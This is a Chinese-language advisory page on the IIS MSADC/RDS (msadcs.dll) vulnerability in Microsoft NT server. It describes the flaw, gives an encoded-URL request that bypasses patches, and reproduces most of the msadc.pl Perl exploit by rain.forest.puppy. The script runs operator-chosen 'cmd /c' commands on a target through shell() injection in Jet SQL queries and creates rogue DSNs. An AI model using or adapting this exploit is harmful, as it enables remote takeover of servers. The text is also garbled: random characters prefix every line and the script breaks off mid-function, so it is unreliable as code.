IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Fl*<N d%K{JkD- 涉及程序:
]f}(iD Microsoft NT server
u|k_OUTq 8"p rWAN 描述:
vP\6=71Y 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
7 4&{GCL h")7kjM 详细:
sHPj_d# 如果你没有时间读详细内容的话,就删除:
F{_,IQ]U c:\Program Files\Common Files\System\Msadc\msadcs.dll
C0/G1\ 有关的安全问题就没有了。
s#8T46? )1$H7| 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
4n1 g@A=y D *IeG>% 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
p#3G=FV 关于利用ODBC远程漏洞的描述,请参看:
\HQ.Pwr 6 o/[Ks;l http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm w,_LC)9 8iM:ok 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
+q+JOS]L http://www.microsoft.com/security/bulletins/MS99-025faq.asp P>^$X r;E5e]w*- 这里不再论述。
;jO+<~YP! ^(@]5$^Z 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
MXjN./ Sz]1`%_H/ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Y kvEQ= 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
3#GIZL}!x Wg<o%6`
Qstd;qE~ #将下面这段保存为txt文件,然后: "perl -x 文件名"
'pO-h,{TS @;KvUR/+FE #!perl
XQmg^x[,A #
g@pK9R%wH< # MSADC/RDS 'usage' (aka exploit) script
GiXs`Yt| #
3JqGLR`z3 # by rain.forest.puppy
S,f#g?V #
.q!i
+0 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
UPPlm\wb* # beta test and find errors!
|KO[[4b ?+ _1WA:7$C use Socket; use Getopt::Std;
_lRIS_^;eE getopts("e:vd:h:XR", \%args);
_a_T`fE&de ;ZMIYFXRqh print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
P{Q$(rOe *i!t&s if (!defined $args{h} && !defined $args{R}) {
1u(n[<WtT_ print qq~
VW;E14 Usage: msadc.pl -h <host> { -d <delay> -X -v }
k![H;}W -h <host> = host you want to scan (ip or domain)
I :bT"N -d <seconds> = delay between calls, default 1 second
c>Ri6=C -X = dump Index Server path table, if available
{<#b@=G -v = verbose
hW6Ksn,* -e = external dictionary file for step 5
qv4r!x E b CK9 Or a -R will resume a command session
2Uu!_n}tNF Der'45]*^ ~; exit;}
OI3j!L2f JxEz1~WK & $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
W1ndb: if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
NgF"1E if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
+rhBC
V if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
&5G@YQD1e $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
'Z%1Ly^b if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Y]5MM:mI QXO~DR1 if (!defined $args{R}){ $ret = &has_msadc;
02,.UqCz die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
C@<gCM j," >p" U| print "Please type the NT commandline you want to run (cmd /c assumed):\n"
,)aUp4* . "cmd /c ";
*O\lR-z!k $in=<STDIN>; chomp $in;
7#7|+%W0 $command="cmd /c " . $in ;
`O;4b#!g sYvlf0 if (defined $args{R}) {&load; exit;}
7r.~L W5~!)Ec print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
e"*ho[ &try_btcustmr;
hb
%F"Q 4^d).{&X print "\nStep 2: Trying to make our own DSN...";
)r)ZmS5O &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
[,MK)7DU Ww#!-,*]o print "\nStep 3: Trying known DSNs...";
d\tY-X3 &known_dsn;
\'iy(8i )|AxQPd print "\nStep 4: Trying known .mdbs...";
U;"J8 &known_mdb;
f/4DFs{ ]9JH.fF if (defined $args{e}){
'op_GW print "\nStep 5: Trying dictionary of DSN names...";
|Q";a:&$ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
<U\8&Uv> uY/CiTWr print "Sorry Charley...maybe next time?\n";
V?p`rrj@ exit;
_={mKKoHs e#k)F.TZ:% ##############################################################################
>m{>0k(^` _{eA8J(A<
sub sendraw { # ripped and modded from whisker
jpTk@ sleep($delay); # it's a DoS on the server! At least on mine...
'
~fP#y my ($pstr)=@_;
XdOntP *a socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
i'^! SEt die("Socket problems\n");
kc}|L9 if(connect(S,pack "SnA4x8",2,80,$target)){
gFfKK`)}D' select(S); $|=1;
OK47Q{.gh print $pstr; my @in=<S>;
IR;3{o select(STDOUT); close(S);
BW`;QF< return @in;
TqOH(={ } else { die("Can't connect...\n"); }}
LB}J7yEQvj 9-24c ##############################################################################
ZA@zs,o% bqx2lQf,_ sub make_header { # make the HTTP request
jR@>~t[}o my $msadc=<<EOT
~@[<y1g?nG POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
t%f>*}*P* User-Agent: ACTIVEDATA
{G<1. Host: $ip
YRd`G3J Content-Length: $clen
/;E=)(w Connection: Keep-Alive
}jdmeD: E0DquVrz ADCClientVersion:01.06
u),.q7(m Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
hb)C"q= E]r<t# --!ADM!ROX!YOUR!WORLD!
]&P 4QT)f Content-Type: application/x-varg
}"v#_vJfz7 Content-Length: $reqlen
nHp$5|r< lk
/Ke EOT
dNov= w ; $msadc=~s/\n/\r\n/g;
ltNY8xrdGN return $msadc;}
Z
J1@z. DNyt_5j&: ##############################################################################
D-x*RRkpp fRkx ^u
P sub make_req { # make the RDS request
ocp my ($switch, $p1, $p2)=@_;
U!JmSP my $req=""; my $t1, $t2, $query, $dsn;
%Q;:nVt ?@MWV if ($switch==1){ # this is the btcustmr.mdb query
sN5Mm8~ $query="Select * from Customers where City=" . make_shell();
,6"[vb#*3 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
1'dZ?`O $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
CoWT M8y|Lm}o elsif ($switch==2){ # this is general make table query
dX[Xe $query="create table AZZ (B int, C varchar(10))";
Kq+vAp). $dsn="$p1";}
R$+"'N6p Ke~!1S8= elsif ($switch==3){ # this is general exploit table query
|W&K@g$ $query="select * from AZZ where C=" . make_shell();
f rV_5yK' $dsn="$p1";}
lh!8u<yv* !FB2\hiM elsif ($switch==4){ # attempt to hork file info from index server
HL:w*8a $query="select path from scope()";
XIl#0-E0X $dsn="Provider=MSIDXS;";}
-Hy>
z v3kT~uv elsif ($switch==5){ # bad query
]@ Vp:RGMr $query="select";
57;(
P $dsn="$p1";}
Xd1+?2 Mt%Q5^ $t1= make_unicode($query);
f}?pY"yvO $t2= make_unicode($dsn);
V|{~9^ $req = "\x02\x00\x03\x00";
:r{W)(mm $req.= "\x08\x00" . pack ("S1", length($t1));
.v9i|E=<~ $req.= "\x00\x00" . $t1 ;
n^l5M^. $req.= "\x08\x00" . pack ("S1", length($t2));
pK/RkA1 $req.= "\x00\x00" . $t2 ;
!MmbwB' $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
!thFayq return $req;}
NvpDi&i M.C`nI4 ##############################################################################
zW. Ltz y\dx \ sub make_shell { # this makes the shell() statement
&hZ6CV{ return "'|shell(\"$command\")|'";}
"39mhX2 ~uB@o KMru ##############################################################################
\rS-}DG ^nQJo"g\ sub make_unicode { # quick little function to convert to unicode
blaXAqe my ($in)=@_; my $out;
i"E_nN"V for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
7&L8zl|K return $out;}
>Tn[CgH]7 KQ(S\ ##############################################################################
b8$%=Xp C?6q]k]r sub rdo_success { # checks for RDO return success (this is kludge)
VwXR,( my (@in) = @_; my $base=content_start(@in);
'l-VWqR- if($in[$base]=~/multipart\/mixed/){
?4R q + return 1 if( $in[$base+10]=~/^\x09\x00/ );}
{WeRFiQ?- return 0;}
:
>$v@d RGY#0 .Z} ##############################################################################
*$mb~k^R "#Q"gC.K sub make_dsn { # this makes a DSN for us
_~*ba+{ my @drives=("c","d","e","f");
CdtwR0 print "\nMaking DSN: ";
CwO$EL:[` foreach $drive (@drives) {
'6T *b print "$drive: ";
5xH*&GpL7 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
NpGz y`&b "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
|m$]I4Jr . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
PK_2 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Y)M-?|4 return 0 if $2 eq "404"; # not found/doesn't exist
Ow-;WO_HQ if($2 eq "200") {
4!?4Tc!X foreach $line (@results) {
a4q02 cV return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
&kH7_Lz } return 0;}
oL9ELtb]s Kf6D$} ##############################################################################
S7R*R} iciRlx.$c sub verify_exists {
z qd1G(tO my ($page)=@_;
g+C~}M_7 my @results=sendraw("GET $page HTTP/1.0\n\n");
CY!H)6k return $results[0];}
Nk9w;
z& aZta%3`) ##############################################################################
a6/E TQ LM!@LQAMY sub try_btcustmr {
!VvM my @drives=("c","d","e","f");
`0R>r7f)H my @dirs=("winnt","winnt35","winnt351","win","windows");
b1Ba} f>? b2a2HX foreach $dir (@dirs) {
Jd33QL}Hj print "$dir -> "; # fun status so you can see progress
1flB A,6L foreach $drive (@drives) {
6(q8y(.` print "$drive: "; # ditto
fs#9*<]m $reqlen=length( make_req(1,$drive,$dir) ) - 28;
U8zs=tA $reqlenlen=length( "$reqlen" );
}<